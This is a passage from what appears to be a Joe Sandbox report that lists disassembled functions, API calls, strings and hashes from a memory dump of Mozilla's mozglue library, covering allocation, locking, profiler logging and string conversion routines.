Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 2732b2ebb93761551c14e752caccbdde8efadf88ec7e6260ac90c6633b81b293
Instruction ID: 196e0eedf237e8ffa2b89cef208ca9b0446cb4a8adedc1a89090fc6b888a6d08
Opcode Fuzzy Hash: 2732b2ebb93761551c14e752caccbdde8efadf88ec7e6260ac90c6633b81b293
Instruction Fuzzy Hash: 7D41D7B17042059FEF00CFA4D884A9677B4FB49B18F618129ED1997740D730EA25CFE2

Function 6C941E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9CE784), ref: 6C941EC1
LeaveCriticalSection.KERNEL32(6C9CE784), ref: 6C941EE1
EnterCriticalSection.KERNEL32(6C9CE744), ref: 6C941F38
LeaveCriticalSection.KERNEL32(6C9CE744), ref: 6C941F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C941F83
LeaveCriticalSection.KERNEL32(6C9CE784), ref: 6C941FC0
EnterCriticalSection.KERNEL32(6C9CE784), ref: 6C941FE2
LeaveCriticalSection.KERNEL32(6C9CE784), ref: 6C941FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C942019

Strings

MOZ_CRASH(), xrefs: 6C942000

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 1da7d9809d63185033b77ff60a5e65edc93a970b57727e56fa1e3cc15c1aa916
Instruction ID: c9890f40d6ace80495ac492ae51ae451d869029f3737a7c643488c84341dbb7d
Opcode Fuzzy Hash: 1da7d9809d63185033b77ff60a5e65edc93a970b57727e56fa1e3cc15c1aa916
Instruction Fuzzy Hash: 7F412571B053098FDF108F78C889BAA37B9EF5A748F104025E906D7741D771D9208BD6

Function 6C990000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C954A68), ref: 6C98945E
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C989470
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C989482
Part of subcall function 6C989420: __Init_thread_footer.LIBCMT ref: 6C98949F

GetCurrentThreadId.KERNEL32 ref: 6C990039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C990041
GetCurrentThreadId.KERNEL32 ref: 6C990075
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C990082
moz_xmalloc.MOZGLUE(00000048), ref: 6C990090
free.MOZGLUE(?), ref: 6C990104
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C99011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C99005B

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 125ae6e57d4fc52b367c015fcded5be02c207b79dd8cc69691f3debdfecc69a2
Instruction ID: 5a01bf3e481b7e7bce97941469a3165d614affa64278f782d7684efe4ef04515
Opcode Fuzzy Hash: 125ae6e57d4fc52b367c015fcded5be02c207b79dd8cc69691f3debdfecc69a2
Instruction Fuzzy Hash: 5441CDB2A05244DFCB20CF64C844A9ABBF0FF69318F54491DE95A83B40D731EA14CBA2

Function 6C957E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C957EA7
malloc.MOZGLUE(00000001), ref: 6C957EB3

Part of subcall function 6C95CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C95CB49
Part of subcall function 6C95CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C95CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C957EC4
mozalloc_abort.MOZGLUE(?), ref: 6C957F19
malloc.MOZGLUE(?), ref: 6C957F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C957F4D

Strings

d, xrefs: 6C957F89

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: cc9d88dd416784f391d563fa567386d8d06c5370e848fa628ceb35e28c819e63
Instruction ID: 93678cef6f37cab889068f8d1548d484e448cb3547080d96ca3bb90723edb91f
Opcode Fuzzy Hash: cc9d88dd416784f391d563fa567386d8d06c5370e848fa628ceb35e28c819e63
Instruction Fuzzy Hash: 8131F761E0468897DB01DB28DC045FEB778EFA5208F549628DC4957612FB31E698C390

Function 6C953E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C953EEE
RtlFreeHeap.NTDLL ref: 6C953FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C954006
RtlFreeHeap.NTDLL ref: 6C9540A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C953CCC), ref: 6C9540AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C953CCC), ref: 6C9540C2
RtlFreeHeap.NTDLL ref: 6C954134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C953CCC), ref: 6C954143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C953CCC), ref: 6C954157

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 4ff0d6e51d7b0a26eb66d45c78d5e6c1042e43cb773cd0414dd267ea11dfbad6
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 69A193B1A00215CFEB40CF28C88066AB7F5FF58318F654169D909AF742D772D966CFA0

Function 6C942030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C963F47,?,?,?,6C963F47,6C961A70,?), ref: 6C94207F
memset.VCRUNTIME140(?,000000E5,6C963F47,?,6C963F47,6C961A70,?), ref: 6C9420DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C963F47,6C961A70,?), ref: 6C94211A
EnterCriticalSection.KERNEL32(6C9CE744,?,6C963F47,6C961A70,?), ref: 6C942145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C963F47,6C961A70,?), ref: 6C9421BA
EnterCriticalSection.KERNEL32(6C9CE744,?,6C963F47,6C961A70,?), ref: 6C9421E0
LeaveCriticalSection.KERNEL32(6C9CE744,?,6C963F47,6C961A70,?), ref: 6C942232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C942253, 6C942268
MOZ_CRASH(), xrefs: 6C94227D

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 027412bdc8ecb1b0d9f161967bf3a0bb7cc55aaade92d5702ee49363f961fe1c
Instruction ID: 19019b03fd198b9d08ce5787e6b46eaeafc89feb6dd6b40d4879397469540f4e
Opcode Fuzzy Hash: 027412bdc8ecb1b0d9f161967bf3a0bb7cc55aaade92d5702ee49363f961fe1c
Instruction Fuzzy Hash: AD61C431F04616CFCB08CA68C889B6E77B5BF99718F258239E525E7A94D770DA00CB91

Function 6C9448E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C98483A,?), ref: 6C944ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C98483A,?), ref: 6C944AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C98483A,?), ref: 6C944A82

Part of subcall function 6C95CA10: mozalloc_abort.MOZGLUE(?), ref: 6C95CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C98483A,?), ref: 6C944A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C98483A,?), ref: 6C944A35

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C98483A,?), ref: 6C944A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C98483A,?), ref: 6C944AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C98483A,?), ref: 6C944B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C98483A,?), ref: 6C944B2C

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 0f531fb1c72b8aa729cf1aa766e9cdb939aa837bb448db1c753a5288d363527e
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 0A715AB19017069FCB54CF68C480AAAB7F5FF18308B508A3EE15ADBB41E731E655CB90

Function 6C999D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C998273), ref: 6C999D65
free.MOZGLUE(6C998273,?), ref: 6C999D7C
free.MOZGLUE(?,?), ref: 6C999D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C999E0F
free.MOZGLUE(6C99946B,?,?), ref: 6C999E24
free.MOZGLUE(?,?,?), ref: 6C999E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C999EC8
free.MOZGLUE(6C99946B,?,?,?), ref: 6C999EDF
free.MOZGLUE(?,?,?,?), ref: 6C999EF5

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 75424685bd392c54fcfaf5a46d7e43d780644ab768db1da3f3b14b029a8e54a8
Instruction ID: 555b5607384f8ed26c5a68115062f0eefa5a467e7664153340a86694fc26eb5f
Opcode Fuzzy Hash: 75424685bd392c54fcfaf5a46d7e43d780644ab768db1da3f3b14b029a8e54a8
Instruction Fuzzy Hash: 8271ADB0909B419FD712CF59C48055BF3F4FFA9315B498619E88E5BB12EB30E885CB81

Function 6C99DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C99DDCF

Part of subcall function 6C97FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C97FA4B

Part of subcall function 6C9990E0: free.MOZGLUE(?,00000000,?,?,6C99DEDB), ref: 6C9990FF
Part of subcall function 6C9990E0: free.MOZGLUE(?,00000000,?,?,6C99DEDB), ref: 6C999108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C99DE0D
free.MOZGLUE(00000000), ref: 6C99DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C99DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C99DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C99DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C98DEFD,?,6C954A68), ref: 6C99DF32

Part of subcall function 6C99DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C99DB86
Part of subcall function 6C99DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C99DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C98DEFD,?,6C954A68), ref: 6C99DF65
free.MOZGLUE(?), ref: 6C99DF80

Part of subcall function 6C965E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C965EDB
Part of subcall function 6C965E90: memset.VCRUNTIME140(6C9A7765,000000E5,55CCCCCC), ref: 6C965F27
Part of subcall function 6C965E90: LeaveCriticalSection.KERNEL32(?), ref: 6C965FB2

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 528f8e2a8b3d2cea0f15acc37f12dfb88e879117510529f70b873aba082383ee
Instruction ID: 77754443369662659e95d1271c314aea55919529109ce03d69c451d3921d2a03
Opcode Fuzzy Hash: 528f8e2a8b3d2cea0f15acc37f12dfb88e879117510529f70b873aba082383ee
Instruction Fuzzy Hash: 0C51C5776056019BDB11DB69C8C06AEB37ABFA5308F9E051CD81A53F00DB31F95ACB92

Function 6C9A5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C9A5C8C,?,6C97E829), ref: 6C9A5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C9A5C8C,?,6C97E829), ref: 6C9A5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C9A5C8C,?,6C97E829), ref: 6C9A5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C9A5C8C,?,6C97E829), ref: 6C9A5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C9A5C8C,?,6C97E829), ref: 6C9A5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C9A5C8C,?,6C97E829), ref: 6C9A5DC9
std::_Facet_Register.LIBCPMT ref: 6C9A5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C9A5C8C,?,6C97E829), ref: 6C9A5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C9A5C8C,?,6C97E829), ref: 6C9A5E45

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 7d0ed8b4b3ba186939af46327480af686ba55b964ffe2271f4604b23a542cbb7
Instruction ID: eba5493eb81e03343b9eafe5e25fc3ff88054b366ed1d27935d90d55889f4245
Opcode Fuzzy Hash: 7d0ed8b4b3ba186939af46327480af686ba55b964ffe2271f4604b23a542cbb7
Instruction Fuzzy Hash: FC41C2707042049FCB00DFA5C898AAE77B9EF89318F654068E50AAB791DB30ED06CB60

Function 6C97CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9431A7), ref: 6C97CDDD

Strings

<jemalloc>, xrefs: 6C97CF9F, 6C97CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C97CFA4, 6C97CFB8

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: e19fa9929e51098134c7b85bafee1a2bfcc701fd955c963ed118b30318bc5cc2
Instruction ID: 055e9bb9d1ca4a7a54b64d2cda14b683aafd7cea445b6ecfa1313dd9a5d3d90b
Opcode Fuzzy Hash: e19fa9929e51098134c7b85bafee1a2bfcc701fd955c963ed118b30318bc5cc2
Instruction Fuzzy Hash: 7231C3307462055BEB20AEA58C45B6E7B79BF41B58F304019F611EBBC0DB70D9108BB2

Function 6C94ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C94F100: LoadLibraryW.KERNEL32(shell32,?,6C9BD020), ref: 6C94F122
Part of subcall function 6C94F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C94F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C94ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C94EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C94EDCC
CreateFileW.KERNEL32 ref: 6C94EE08
free.MOZGLUE(00000000), ref: 6C94EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C94EE32

Part of subcall function 6C94EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C94EBB5
Part of subcall function 6C94EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C97D7F3), ref: 6C94EBC3
Part of subcall function 6C94EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C97D7F3), ref: 6C94EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C94EDC1

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 5338efe90860a71fde24cc0ef94332a53b042ef613fa743db4b17550e920c1a5
Instruction ID: 17fc1ed49fe97aef64afe2bdf17940184032b8f99a7cc5f31434173c385ee56e
Opcode Fuzzy Hash: 5338efe90860a71fde24cc0ef94332a53b042ef613fa743db4b17550e920c1a5
Instruction Fuzzy Hash: DD51AD71D052049BDB11DF68C884BEEF7B4AF69318F44C52DE8556BB80E730E988C7A2

Function 6C9BA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9BA565

Part of subcall function 6C9BA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9BA4BE
Part of subcall function 6C9BA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9BA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9BA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9BA6B6

Strings

z, xrefs: 6C9BA6AE
0, xrefs: 6C9BA5FB

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: b057672ce202015d9a81c1fb48f16077e8287158a2a6f2cbd3d454c81bf11bf2
Instruction ID: c1fc9b563692efa41e99d4a372ac26edd654f5f58e990f5596f93c91dd7a6444
Opcode Fuzzy Hash: b057672ce202015d9a81c1fb48f16077e8287158a2a6f2cbd3d454c81bf11bf2
Instruction Fuzzy Hash: 73412971909745EFC341DF28C080A9FBBE5BF99354F408A2EF49997650EB30D649CB92

Function 6C9478C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C9C008B), ref: 6C947B89
free.MOZGLUE(?,6C9C008B), ref: 6C947BAC

Part of subcall function 6C9478C0: free.MOZGLUE(?,6C9C008B), ref: 6C947BCF

free.MOZGLUE(?,6C9C008B), ref: 6C947BF2

Part of subcall function 6C965E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C965EDB
Part of subcall function 6C965E90: memset.VCRUNTIME140(6C9A7765,000000E5,55CCCCCC), ref: 6C965F27
Part of subcall function 6C965E90: LeaveCriticalSection.KERNEL32(?), ref: 6C965FB2

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

